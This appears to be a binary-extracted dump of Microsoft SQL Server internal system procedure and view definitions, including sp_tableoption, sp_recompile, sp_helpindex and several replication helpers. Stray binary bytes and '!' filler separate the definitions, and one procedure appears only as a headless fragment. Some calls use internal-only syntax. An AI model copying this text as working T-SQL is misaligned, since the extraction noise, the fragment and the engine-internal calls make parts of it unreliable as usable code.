!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`/<	`09w 8create procedure sys.sp_tableoption
    @TableNamePattern      nvarchar(776)
   ,@OptionName            varchar(35)
   ,@OptionValue           varchar(12)
as
	-- declare AND INIT VARIABLES
	declare @OPTbulklock	varchar(25)
			,@OPTtextinrow	varchar(25)
			,@OPTpintable		varchar(25)
			,@OPLargeValOutOfRow varchar(28)
			,@OPUseVarDecimal varchar(25)
			,@CurrentDBId	int
			,@ColId		int
			,@TabId		int
			,@opt_value int
			,@opt_flag	bit
			,@permit	bit	-- locked after permission check?
			,@ret		int

	select @OptionName = lower(@OptionName collate Latin1_General_CI_AS)
			,@OPTbulklock = 'table lock on bulk load'
			,@OPTtextinrow = 'text in row'
			,@OPTpintable	= 'pintable'
			,@OPLargeValOutOfRow = 'large value types out of row'
			,@OPUseVarDecimal = 'vardecimal storage format'
			,@permit = 1
			,@CurrentDBId = db_id()

    -- DISALLOW USER TRANSACTION (except for in 'text in row' and 'large value types out of row' ) --
	set nocount on
	set implicit_transactions off
	if (@@trancount > 0 AND @OptionName = @OPTbulklock)
	begin
		raiserror(15002,-1,-1,'sys.sp_tableoption')
		return @@error
	end

	-- VALIDATE OPTION VALUE
	select @opt_value =
		case when (lower(@OptionValue) in ('1' ,'on' ,'yes' ,'true')) then 1
			when (lower(@OptionValue) in ('0' ,'off' ,'no' ,'false')) then 0
			when (@OptionName = @OPTtextinrow AND ISNUMERIC (@OptionValue) <> 0)
			then convert (int, @OptionValue)
		end

	-- ERROR if INVALID OPTION NAME OR VALUE
	if @opt_value is null OR @OptionName is null OR
		(@OptionName NOT IN (@OPTbulklock, @OPTtextinrow, @OPLargeValOutOfRow, @OPTpintable, @OPUseVarDecimal))
	begin
		raiserror(15600,-1,-1, 'sys.sp_tableoption')
		return @@error
	end

	-- Return silently when option pintable is specifed. This functionality no longer exists. 
	if (@OptionName = @OPTpintable)
		return 0
	
	if (@OptionName = @OPTtextinrow)
	begin
		if (@opt_value != 0 and @opt_value != 1 and
			(@opt_value < 24 or @opt_value > 7000))
		begin	-- Invalid value
			raiserror (15112,-1,-1)
			return @@error
		end
	end

	-- vardecimal storage format is locked down in SQL Azure.
	if (@OptionName = @OPUseVarDecimal and serverproperty('EngineEdition') = 5)
	begin
		raiserror(40512,-1,-1,@OptionName)
		return @@error
	end

	BEGIN TRANSACTION

	-- VERIFY WE HAVE A USER-TABLE BY THIS NAME IN THE DATABASE
	select @TabId = object_id from sys.tables
		where object_id = object_id(@TableNamePattern, 'local')

	if not (@TabId is null)
	begin
		-- LOCK TABLE, CHECK STANDARD TABLE-DDL PERMISSIONS
		EXEC %%Object(MultiName = @TableNamePattern).LockMatchID(ID = @TabId, Exclusive = 1, BindInternal = 0)
		if @@error <> 0
			select @permit = 0, @TabId = null
	end

	if @TabId is null	-- Not found/permission deny
	begin
		COMMIT TRANSACTION
		raiserror(15388,-1,-1,@TableNamePattern)
		return @@error
	end

	-- HANDLE TEXT-IN-ROW option
	if (@OptionName = @OPTtextinrow)
	begin
		-- invalidate inrow text pointer for the table
		--
		dbcc invalidate_textptr_objid(@TabId)
		dbcc no_textptr(@TabId, @opt_value)
	end

	-- HANDLE TABLOCK-ON-BCP option
	else if (@OptionName = @OPTbulklock)
	begin
		-- Make required change
		if ObjectProperty(@TabId, 'TableIsLockedOnBulkLoad') <> @opt_value
		begin
			-- SetLockOnBulkLoad expect bit value
			select @opt_flag = @opt_value
			EXEC %%Relation(ID = @TabId).SetLockOnBulkLoad(Value = @opt_flag)
		end
	end
	else if (@OptionName = @OPLargeValOutOfRow)
	begin
		-- SetLargeValuesTypeOutOfRow expects bit value
		select @opt_flag = @opt_value
		EXEC %%Relation(ID = @TabId).SetLargeValuesTypeOutOfRow(Value = @opt_flag)
		select @ret = @@error
		if @ret <> 0
		begin
			COMMIT TRANSACTION
			return @ret
		end
	end
	else if (@OptionName = @OPUseVarDecimal)
	begin
		-- SetUseVarDecimal expects bit value.
		select @opt_flag = convert(bit, @opt_value)
		
		-- No-op if the property is already in the desired state.
		if ObjectProperty(@TabId, 'TableHasVarDecimalStorageFormat') <> @opt_flag
		begin
			exec %%Relation(ID = @TabId).SetUseVarDecimal(Value = @opt_flag)
			select @ret = @@error
			if @ret <> 0
			begin
				COMMIT TRANSACTION
				return @ret
			end
		end
	end

	-- EMDEventType(x_eet_AlterTable), EMDUniversalClass( x_eunc_Table), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 22, ID = 1, ID = @TabId, ID = 0, Value = NULL,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 3, Value = @TableNamePattern, Value = @OptionName, Value = @OptionValue, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	COMMIT TRANSACTION

	-- return success
	return 0  --sp_tableoption
01{@ 8
create procedure sys.sp_MSchangearticleresolver (
@article_resolver       nvarchar(255),
@resolver_clsid         nvarchar(40),
@artid                  uniqueidentifier,
@resolver_info          nvarchar(517) = NULL
)
as
    declare @retcode int
    -- Security check: dbo and sysadmin only
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin   
        return 1
    end

    if (@resolver_clsid='') select @resolver_clsid = NULL
    UPDATE dbo.sysmergearticles
        SET article_resolver = @article_resolver, resolver_clsid = @resolver_clsid, resolver_info = @resolver_info
        WHERE artid = @artid
    if @@ERROR <> 0 
        RETURN (1)
    return (0)     
!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f`s<~S5}0  
8create procedure sys.sp_recompile
    @objname	 	nvarchar(776)
as
    -- do sets and declares
    Set nocount on
    declare @objid      int

	BEGIN TRANSACTION
    -- CHECK VALIDITY OF OBJECT NAME --
    --  (1) Must exist in current database
    --  (2) Must be a table or an executable object
    --  (3) Must not be a Hekaton procedure.
    select @objid = object_id(@objname, 'local')

        if @objid is null OR
            (ObjectProperty(@objid, 'IsTable') = 0 AND ObjectProperty(@objid, 'IsExecuted') = 0)
        begin
	        COMMIT TRANSACTION
	        raiserror(15165,-1,-1 ,@objname)
	        return @@error
        end

	if not (@objid is null)
	begin
		if (ObjectProperty(@objid, 'IsExecuted') <> 0 AND
			ObjectProperty(@objid, 'IsInlineFunction') = 0 AND
			ObjectProperty(@objid, 'IsView') = 0 AND
			-- Hekaton procedure cannot be recompiled
			-- Make them go through schema version bumping branch, which will fail
	    		ObjectProperty(@objid, 'ExecIsCompiledProc') = 0)
		begin
			-- The object has its own cache entry.  Removing it from cache will result in recompile on next execution.
			-- Recompiling plans referencing the object is not needed according to sp_recompile semantics in BOL,
			-- nor would it achieve anything useful.

			-- Check ALTER permission on the object.
			if has_perms_by_name(@objname, 'object', 'alter') = 0
			begin
				declare @db_name sysname = db_name(), @object_name sysname = object_name(@objid), @schema_name sysname = object_schema_name(@objid);
				declare @db_len int = datalength(@db_name), @schema_len int = datalength(@schema_name), @object_len int = datalength(@object_name);
				raiserror(229, -1, -1, N'ALTER', @object_len, @object_name, @db_len, @db_name, @schema_len, @schema_name);
				return @@error;
			end

			-- Remove the object from plan cache.
			declare @db_id int = db_id();
			EXEC sp_recompile_module @db_id, @objid
		end
		else
		begin
			-- For table/view/inline-function, all plans referencing the object need to be recompiled according to
			-- sp_recompile semantics in BOL.  Bump the schema version of the object to achieve this.
			
	    -- LOCK, CHECK PERMISSION, BUMP SCHEMA FOR RECOMPILE  --
		EXEC %%Object(MultiName = @objname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
		if @@error <> 0
		begin
			COMMIT TRANSACTION
			raiserror(15165,-1,-1 ,@objname)
	        return @@error
		end
	end
	end
		
	COMMIT TRANSACTION
	raiserror(15070,-1,-1,@objname)
	return (0) -- sp_recompile
0 8CREATE VIEW sys.dm_cryptographic_provider_properties AS
	SELECT *
	FROM OpenRowset(TABLE DM_CRYPTO_PROVIDER_PROPS)
0 8--
-- Name: fn_replgenerateshorterfilenameprefix
--
-- Description: This function mimics the algorithm used by the snapshot 
--              agent to shorten any overly long component of a publication
--              snapshot folder with "overly long" defined as more than
--              30 characters in length (as specified in the @truncated_len
--              parameter of this function). 
--                
-- Parameters:  @prefix nvarchar(4000)
--              @truncated_len int
--
-- Notes:
--
-- Returns: nvarchar(4000)
--
-- Security: This is an internal system function.
--
create function sys.fn_replgenerateshorterfilenameprefix(
    @prefix nvarchar(4000),
    @truncated_len int
    ) returns nvarchar(4000)
as
begin
    declare @HashValueIndex int,
            @HashValue int,
            @CurrentByte tinyint,
            @TruncatedString varbinary(8000),
            @i int,
            @TruncatedStringLen int,
            @prefix_to_be_returned nvarchar(4000)

    select @prefix_to_be_returned = @prefix
    if (len(@prefix) > @truncated_len)
    begin
        select @TruncatedString = convert(varbinary(8000),substring(@prefix,@truncated_len-8+1,len(@prefix)-@truncated_len+8))
        select @TruncatedStringLen = len(@TruncatedString)
        select @HashValue = 0
        select @i = 1
        select @HashValueIndex = 0
        while @i <= @TruncatedStringLen
        begin
            select @CurrentByte = convert(tinyint,substring(@TruncatedString,@i,1))
            select @HashValue = @HashValue ^ sys.fn_replrotr(@CurrentByte, -(8*@HashValueIndex))
            select @HashValue = sys.fn_replrotr(@HashValue, @HashValueIndex + 1)
            if @CurrentByte != 0
            begin
                select @HashValueIndex = (@HashValueIndex + 1) % 4
            end
            select @i = @i + 1
        end
        select @prefix_to_be_returned = substring(@prefix,1,@truncated_len-8) 
        select @prefix_to_be_returned = @prefix_to_be_returned + lower(sys.fn_repltrimleadingzerosinhexstr(substring(sys.fn_varbintohexstr(convert(varbinary(4),@HashValue)) collate database_default,3,8)) collate database_default)
    end
    return @prefix_to_be_returned
end
0@ 8


/* Permission to sysadmin - Wrapper to include security check*/
create procedure sys.sp_removedbreplication (
      @dbname     sysname = NULL,
      @type		nvarchar(5) = 'both'	-- 'merge' or 'tran' or 'both' to cleanup.
    ) AS
    set nocount on
    declare @retcode int
    declare @proc  nvarchar(255)
    
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END
    
    if @dbname is NULL
        select @dbname = db_name()

    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('merge', 'tran', 'both')
    BEGIN
    	RAISERROR(22551, 16, -1, @type)
    	RETURN (1)
    END
    
    if (convert(sysname,DATABASEPROPERTYEX(@dbname,'status'))  = 'ONLINE')
    begin
        exec @retcode = sys.sp_MSremovedbreplication_internal @dbname = @dbname,@type = @type,@ignore_distributor = 1

	    -- does brute force clean up for merge
	    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('merge', 'both')
	    begin
            SELECT @proc = quotename(@dbname) + N'.sys.sp_MSremovedb_merge_replication_brute_force'	
	   	    exec @retcode = @proc
	    end

		IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = 'both'
		BEGIN
			-- drop replication symetrickey
			-- note that since this is brute force we will not confirm 
			-- whether or not replication is still enabled in the db
			SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_dropreplsymmetrickey'
		    EXEC @retcode = @proc @check_replication = 0, @throw_error = 0
		END
		ELSE
		BEGIN
			-- drop replication symetrickey
			-- in this case since we are only dropping one merge/tran it's possibe
			-- that we still need the symetric key... so in this case we will check
			SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_dropreplsymmetrickey'
		    EXEC @retcode = @proc @check_replication = 1, @throw_error = 0
		END
    end
    else
    begin 
        exec @retcode  = sys.sp_MSrepl_clean_replication_bit @dbname=@dbname,@type=@type	     
    end
    

    if @@error <> 0 select @retcode = 1
    return @retcode

simple @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	if @QueryString = N'wsdlcomplex'
	begin
		exec sys.sp_http_generate_wsdl_complex @EndpointID, @IsSSL, @Host, N'wsdl', @UserAgent
		return
	end
	raiserror(17885, 16, 1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1VE
`<eNSZ0 8
create procedure sys.sp_resetstatus  -- 1995/11/30 14:12 #12092
	@DBName sysname
as
	set nocount on
	declare @state int
	declare @source_dbid int

	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_resetstatus')
		return (1)
	end

	-- RESTRICT TO SA --
	if (not (is_srvrolemember('sysadmin') = 1))
	begin
	   raiserror(15247,-1,-1)
	   return (1)
	end

	-- FORBID ACTIVE TXN --
	set implicit_transactions off
	if @@trancount > 0
	begin
	   raiserror(15002,-1,-1,'sys.sp_resetstatus')
	   return (1)
	end

	--
	-- Make sure the db exists
	--
	if not exists (select * from master.sys.databases where name = @DBName)
	begin
		raiserror(15010,-1,-1,@DBName)
		return (1)
	end

	select @state = state, 
	@source_dbid = source_database_id
	from master.sys.databases
	where name = @DBName

	-- 
	-- Cannot reset a database snapshot.  Anything but NULL or 0 
	-- is a snapshot.
	--
	if (ISNULL(@source_dbid, 0) <> 0)
	begin
		raiserror(15658,-1,-1)
		return (1)
	end
	
	--
	-- Must already be suspect.  4 is SUSPECT state.
	--
	if (@state <> 4) 
	begin
		raiserror(15056,-1,-1,@DBName)
		return (1)
	end

	-- Note: database @DBName may not exist anymore
	-- If invoke gets error, exception will abort this proc.
	EXEC %%DatabaseRef(Name = @DBName).SetSuspect(Value = 0)

	-- Warning: You must recover this database prior to access.
	raiserror(15074,-1,-1)

	return (0) -- sp_resetstatus
0 8create procedure sys.sp_helpindex
	@objname nvarchar(776)		-- the table to check for indexes
as
	-- PRELIM
	set nocount on

	declare @objid int,			-- the object id of the table
			@indid smallint,	-- the index id of an index
			@groupid int,  		-- the filegroup id of an index
			@indname sysname,
			@groupname sysname,
			@status int,
			@keys nvarchar(2126),	--Length (16*max_identifierLength)+(15*2)+(16*3)
			@dbname	sysname,
			@ignore_dup_key	bit,
			@is_unique		bit,
			@is_hypothetical	bit,
			@is_primary_key	bit,
			@is_unique_key 	bit,
			@is_columnstore	bit,
			@auto_created	bit,
			@no_recompute	bit

	-- Check to see that the object names are local to the current database.
	select @dbname = parsename(@objname,3)
	if @dbname is null
		select @dbname = db_name()
	else if @dbname <> db_name()
		begin
			raiserror(15250,-1,-1)
			return (1)
		end

	-- Check to see the the table exists and initialize @objid.
	select @objid = object_id(@objname)
	if @objid is NULL
	begin
		raiserror(15009,-1,-1,@objname,@dbname)
		return (1)
	end

	-- OPEN CURSOR OVER INDEXES (skip stats: bug shiloh_51196)
	declare ms_crs_ind cursor local static for
		select i.index_id, i.data_space_id, i.name,
			i.ignore_dup_key, i.is_unique, i.is_hypothetical, i.is_primary_key, i.is_unique_constraint,
			case when (type = 5 or type = 6) then 1 else 0 end,
			case when (type = 5 or type = 6) then 0 else s.auto_created end,
			case when (type = 5 or type = 6) then 0 else s.no_recompute end
		from sys.indexes i left join sys.stats s
			on i.object_id = s.object_id and i.index_id = s.stats_id
		where i.object_id = @objid and type in (1, 2, 5, 6)
	open ms_crs_ind
	fetch ms_crs_ind into @indid, @groupid, @indname, @ignore_dup_key, @is_unique, @is_hypothetical,
			@is_primary_key, @is_unique_key, @is_columnstore, @auto_created, @no_recompute

	-- IF NO INDEX, QUIT
	if @@fetch_status < 0
	begin
		deallocate ms_crs_ind
		raiserror(15472,-1,-1,@objname) -- Object does not have any indexes.
		return (0)
	end

	-- create temp table
	CREATE TABLE #spindtab
	(
		index_name			sysname	collate catalog_default NOT NULL,
		index_id				int,
		ignore_dup_key		bit,
		is_unique				bit,
		is_hypothetical		bit,
		is_primary_key		bit,
		is_unique_key			bit,
		is_columnstore		bit,
		auto_created			bit,
		no_recompute			bit,
		groupname			sysname collate catalog_default NULL,
		index_keys			nvarchar(2126)	collate catalog_default NULL -- see @keys above for length descr
	)

	-- Now check out each index, figure out its type and keys and
	--	save the info in a temporary table that we'll print out at the end.
	while @@fetch_status >= 0
	begin
		-- First we'll figure out what the keys are.
		declare @i int, @thiskey nvarchar(131) -- 128+3

		select @keys = index_col(@objname, @indid, 1), @i = 2
		if (indexkey_property(@objid, @indid, 1, 'isdescending') = 1)
			select @keys = @keys  + '(-)'

		select @thiskey = index_col(@objname, @indid, @i)
		if ((@thiskey is not null) and (indexkey_property(@objid, @indid, @i, 'isdescending') = 1))
			select @thiskey = @thiskey + '(-)'

		while (@thiskey is not null )
		begin
			select @keys = @keys + ', ' + @thiskey, @i = @i + 1
			select @thiskey = index_col(@objname, @indid, @i)
			if ((@thiskey is not null) and (indexkey_property(@objid, @indid, @i, 'isdescending') = 1))
				select @thiskey = @thiskey + '(-)'
		end

		select @groupname = null
		if (serverproperty('EngineEdition') != 5)
		select @groupname = name from sys.data_spaces where data_space_id = @groupid

		-- INSERT ROW FOR INDEX
		insert into #spindtab values (@indname, @indid, @ignore_dup_key, @is_unique, @is_hypothetical,
			@is_primary_key, @is_unique_key, @is_columnstore, @auto_created, @no_recompute, @groupname, @keys)

		-- Next index
		fetch ms_crs_ind into @indid, @groupid, @indname, @ignore_dup_key, @is_unique, @is_hypothetical,
			@is_primary_key, @is_unique_key, @is_columnstore, @auto_created, @no_recompute
	end
	deallocate ms_crs_ind

	-- DISPLAY THE RESULTS
	select
		'index_name' = index_name,
		'index_description' = convert(varchar(210), --bits 16 off, 1, 2, 16777216 on, located on group
				case when index_id = 1 then 'clustered' else 'nonclustered' end
				+ case when ignore_dup_key <>0 then ', ignore duplicate keys' else '' end
				+ case when is_unique <>0 then ', unique' else '' end
				+ case when is_hypothetical <>0 then ', hypothetical' else '' end
				+ case when is_primary_key <>0 then ', primary key' else '' end
				+ case when is_unique_key <>0 then ', unique key' else '' end
				+ case when is_columnstore <>0 then ', columnstore' else '' end
				+ case when auto_created <>0 then ', auto create' else '' end
				+ case when no_recompute <>0 then ', stats no recompute' else '' end
				+ ' located on ' + ISNULL(groupname,'')),
		'index_keys' = index_keys
	from #spindtab
	order by index_name


	return (0) -- sp_helpindex
0s@ k8

create procedure sys.sp_MScreate_article_repl_views
    @publication sysname
as
    declare @pubid uniqueidentifier, @artid uniqueidentifier, @retcode int

    -- security check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0
        return 1
    
    select @retcode = 0

    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, NULL, NULL, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1    
        
    declare artidcursor CURSOR LOCAL FAST_FORWARD FOR 
    select artid from dbo.sysmergearticles where pubid = @pubid
    FOR READ ONLY
    
    open artidcursor
    fetch artidcursor into @artid
    while (@@fetch_status <> -1)
    begin
    
        exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
        if @@ERROR<>0 OR @retcode<>0 
        begin
            select @retcode = 1
            goto error
        end
        
        fetch next from artidcursor into @artid
    end

error:
    close artidcursor
    deallocate artidcursor
    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`<SI0e 8
create function sys.generate_table_sample_ddl(
	@object_id int, 
	@schema sysname, 
	@table sysname, 
	@partition_number int, 
	@partition_column_id int, 
	@partition_function_id int, 
	@sample_table_name sysname, 
	@dummy_column sysname, 
	@include_computed bit,
	@sample_percent float
)
returns @ddl_statements table(alter_ddl nvarchar(max), insert_ddl nvarchar(max), table_option_ddl nvarchar(max))
as
begin
	-- Generate column defintions and select lists
	declare @column_definitions nvarchar(max);
	declare @into_list nvarchar(max);
	declare @columns nvarchar(max);

	with columns_cte as
	(
		select c.column_id, c.name, c.system_type_id, st.name as system_type_name, c.max_length, c.precision, c.scale, c.collation_name,
		   c.is_nullable, c.is_xml_document, c.xml_collection_id, ut.is_user_defined, ut.is_assembly_type, at.is_fixed_length
		from sys.columns c with (nolock)
		left join sys.computed_columns cc with (nolock) on c.object_id = cc.object_id and c.column_id = cc.column_id
		join sys.types ut with (nolock) on c.user_type_id = ut.user_type_id 
		left join sys.types st with (nolock) on c.system_type_id = st.user_type_id
		left join sys.assembly_types at with (nolock) on c.user_type_id = at.user_type_id
		where c.object_id = @object_id 
		  and 1 = case @include_computed when 0 then coalesce(cc.is_persisted, 1) else 1 end
	)
	select 
		@column_definitions = (
			select ', ' + sys.column_definition(name, system_type_id, system_type_name, max_length, precision, scale, 
					collation_name, is_nullable, is_xml_document, xml_collection_id, is_user_defined, is_assembly_type, is_fixed_length) as [text()] 
			from columns_cte 
			order by column_id for xml path('')),
		@into_list = (
			select ', ' + quotename(name) 
			from columns_cte where system_type_id <> 189 -- exclude timestamp columns
			order by column_id for xml path('')),
		@columns = (
			select ', ' + 
				case 
				when xml_collection_id <> 0 then -- untyped the xml and then it will be retyped again
					'convert(xml, ' + quotename(name) + ')'
				when is_assembly_type = 1 then
					'convert(varbinary(8000), ' + quotename(name) + ')'
				else quotename(name) end 
				as [text()] 
			from columns_cte where system_type_id <> 189 -- exclude timestamp columns
			order by column_id for xml path(''))
	
	-- Remove the extra , from the beginning
	set @column_definitions = stuff(@column_definitions, 1, 2, '');		
	set @into_list = stuff(@into_list, 1, 2, '');
	set @columns = stuff(@columns, 1, 2, '');

	-- Generate ALTER ddl statements
	declare @alter_ddl nvarchar(max) = ''
	set @alter_ddl = 'alter table ' + quotename(@sample_table_name) + ' add ' + @column_definitions + '; '
	set @alter_ddl = @alter_ddl + 'alter table ' + quotename(@sample_table_name) + ' drop column ' + quotename(@dummy_column) + ';'

	-- generate insert ... select statement
	declare @ddl nvarchar(max) = 'insert into ' + quotename(@sample_table_name) + '(' + @into_list + ')' + ' select ' + @columns + 
								' from ' + quotename(@schema) + '.' + quotename(@table) + ' tablesample (' + convert(nvarchar(max), @sample_percent) + ' percent)';
								
	if ('V' = (select type from sys.objects where object_id = @object_id))
	begin
		set @ddl = @ddl + ' with (noexpand)'
	end

	-- add predicate to filter on partition
	if @partition_column_id is not null and @partition_function_id is not null
	begin
		declare @part_func_name sysname = (select quotename(pf.name) from sys.partition_functions as pf with (nolock) where pf.function_id = @partition_function_id);
		declare @part_column sysname = (select quotename(name) from sys.columns with (nolock) where object_id = @object_id and column_id = @partition_column_id);

		set @ddl = @ddl + ' where $PARTITION.' + @part_func_name + '(' + @part_column + ') = ' + convert(nvarchar(10), @partition_number);
	
	end	
	
	declare @table_option_ddl nvarchar(max) = null;
	if ('U' = (select type from sys.objects where object_id = @object_id))
	begin		
		declare @text_in_row_limit int;
		declare @large_value_types_out_of_row bit;
		
		select @text_in_row_limit = text_in_row_limit, @large_value_types_out_of_row = large_value_types_out_of_row
		from sys.tables
		where object_id = @object_id;		
		
		if (@text_in_row_limit <> 0 or @large_value_types_out_of_row <> 0)
		begin
			set @table_option_ddl = 'use tempdb; ';
			if (@text_in_row_limit <> 0)
			begin
				set @table_option_ddl = @table_option_ddl + 'exec sp_tableoption ''' + quotename(@sample_table_name) + ''', ''text in row'', ''' + convert(nvarchar(max), @text_in_row_limit) + ''';';
			end
			
			if (@large_value_types_out_of_row <> 0)
			begin
				set @table_option_ddl = @table_option_ddl + 'exec sp_tableoption ''' + quotename(@sample_table_name) + ''', ''large value types out of row'', ''1'';';
			end
		end
	end

	insert into @ddl_statements values (@alter_ddl, @ddl, @table_option_ddl);

	return;
end
0p'@ p8create view sys.trace_events as select * from OpenRowset(TABLE SYSTRACEEVENTS)
0iS	 8create function sys.fn_EnumCurrentPrincipals()
RETURNS @mirrorinstances TABLE
(
	db_name						sysname,
	current_principal			sysname,
	mirroring_role				int NULL,
	mirroring_state				int NULL
)
as 
begin
insert into @mirrorinstances  
select databases.name as db_name, 
	sys.fn_GetCurrentPrincipal(databases.name) as current_principal,
	db_mirroring.mirroring_role as mirroring_role,
	db_mirroring.mirroring_state as mirroring_state
	from sys.database_mirroring db_mirroring, sys.databases databases where 
	db_mirroring.database_id = databases.database_id
	and (databases.is_published = 1 or databases.is_merge_published = 1)
	and db_mirroring.mirroring_role is NOT NULL
return 
end
0+3 8create procedure sys.sp_MSscript_dri
    (@publication    sysname, 
    @article        sysname)
AS

declare @pubid    uniqueidentifier
    
select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
        
-- Security check
if (1 <> {fn ISPALUSER(@pubid)} and
    1 <> is_member('db_owner'))
begin    
    RAISERROR (15247, 11, -1)
    return (1)
end

select referenced_object_id, parent_object_id from sys.foreign_keys 
        where parent_object_id in (select objid from dbo.sysmergearticles where pubid = @pubid and name = @article) 
            and referenced_object_id not in (select objid from dbo.sysmergearticles where pubid = @pubid)
0yg@ 8create procedure sys.sp_dropdynamicsnapshot_job (
    @publication sysname,
    @dynamic_snapshot_jobname sysname = '%',
    @dynamic_snapshot_jobid uniqueidentifier = null,
    @ignore_distributor bit = 0
)
AS
    declare @retcode int
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return (1)
    exec @retcode = sys.sp_MSdropmergedynamicsnapshotjob 
                        @publication,
                        @dynamic_snapshot_jobname,
                        @dynamic_snapshot_jobid,
                        @ignore_distributor
    return @retcode
